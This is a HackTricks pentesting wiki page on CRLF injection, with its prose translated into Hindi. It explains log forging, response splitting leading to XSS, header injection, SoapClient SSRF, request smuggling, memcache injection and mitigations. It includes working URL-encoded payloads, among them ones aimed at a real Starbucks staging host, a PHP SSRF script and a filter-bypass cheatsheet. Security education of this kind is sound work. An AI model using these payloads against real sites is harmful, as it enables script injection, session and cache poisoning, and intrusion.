# CRLF (%0D%0A) Injection
{{#include ../banners/hacktricks-training.md}}
### CRLF
कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे सामूहिक रूप से CRLF के रूप में जाना जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए उपयोग किए जाने वाले विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।
### CRLF Injection Vulnerability
CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से प्रेरित करती है कि इंजेक्ट किया गया अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत के रूप में व्याख्यायित किया जाए। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं होते, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।
### Example: CRLF Injection in a Log File
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में है और जिसका प्रारूप है: `IP - Time - Visited Path`। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्ट की गई अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकती है:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
यहाँ, `%0d` और `%0a` CR और LF के URL-कोडित रूपों का प्रतिनिधित्व करते हैं। हमले के बाद, लॉग भ्रामक रूप से प्रदर्शित होगा:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को `%0d%0a` से शुरू होने वाले एकल पैरामीटर के रूप में व्याख्या करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### विवरण
HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है एक विशिष्ट वर्ण अनुक्रम का उपयोग करके, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)।
#### HTTP Response Splitting के माध्यम से XSS
1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: `X-Custom-Header: UserInput`
2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी के परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है।
3. एक हमलावर एक विशेष रूप से तैयार 'user_input' के साथ एक URL तैयार करता है: `?user_input=Value%0d%0a%0d%0a`
- इस URL में, `%0d%0a%0d%0a` CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है।
4. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है।
#### HTTP Response Splitting का एक उदाहरण जो रीडायरेक्ट की ओर ले जाता है
From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Browser to:
```
/%0d%0aLocation:%20http://myweb.com
```
और सर्वर हेडर के साथ प्रतिक्रिया करता है:
```
Location: http://myweb.com
```
**अन्य उदाहरण: (से** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### In URL Path
आप **URL पथ के अंदर** पेलोड भेज सकते हैं ताकि आप सर्वर से **प्रतिक्रिया** को नियंत्रित कर सकें (उदाहरण [यहां](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### HTTP Header Injection
HTTP Header Injection, जिसे अक्सर CRLF (Carriage Return and Line Feed) इंजेक्शन के माध्यम से शोषित किया जाता है, हमलावरों को HTTP हेडर डालने की अनुमति देता है। यह सुरक्षा तंत्रों जैसे XSS (Cross-Site Scripting) फ़िल्टर या SOP (Same-Origin Policy) को कमजोर कर सकता है, जिससे संवेदनशील डेटा, जैसे CSRF टोकन, तक अनधिकृत पहुंच या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों में हेरफेर हो सकता है।
#### HTTP Header Injection के माध्यम से CORS का शोषण
एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, संभावित रूप से संरक्षित डेटा तक पहुंच प्राप्त करता है।
#### CRLF के माध्यम से SSRF और HTTP Request Injection
CRLF इंजेक्शन का उपयोग एक पूरी तरह से नई HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के `SoapClient` क्लास में है, विशेष रूप से `user_agent` पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे एक PHP उदाहरण है जो इस शोषण को प्रदर्शित करता है:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### Header Injection to Request Smuggling
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत देखें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
आप आवश्यक हेडर इंजेक्ट कर सकते हैं ताकि **बैक-एंड कनेक्शन को खुला रखे** प्रारंभिक अनुरोध का उत्तर देने के बाद:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर [HTTP request smuggling](http-request-smuggling/) से संबंधित होता है, एक तकनीक जहां सर्वर द्वारा इंजेक्शन के बाद जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं।
**शोषण:**
1. **दुष्ट प्रीफिक्स इंजेक्शन**: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के कचरे के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcache इंजेक्शन
Memcache एक **की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है**। अधिक जानकारी के लिए:
{{#ref}}
../network-services-pentesting/11211-memcache/
{{#endref}}
**पूर्ण जानकारी के लिए पढ़ें**[ **मूल लेख**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए** **memcache** सर्वर पर **अनुरोध** करने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache कमांड्स** को **इंजेक्ट** कर सकता है।
उदाहरण के लिए, मूल खोजी गई भेद्यता में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache कमांड्स को इंजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देने के लिए **विज़िटर्स के विवरण** (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर सर्वरों पर भेजते थे:
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रियित कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता थे:
### CRLF / HTTP हेडर इंजेक्शनों से वेब अनुप्रयोगों में कैसे बचें
वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इंजेक्शनों के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:
1. **प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें:** सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें।
2. **विशेष वर्णों को एन्कोड करें:** यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इंजेक्शन की संभावना को रोकती है।
3. **प्रोग्रामिंग भाषा को अपडेट करें:** अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इंजेक्शन की अनुमति नहीं देता है।
### CHEATSHEET
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Automatic Tools
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## Brute-Force Detection List
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
## References
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}
.png)
.png)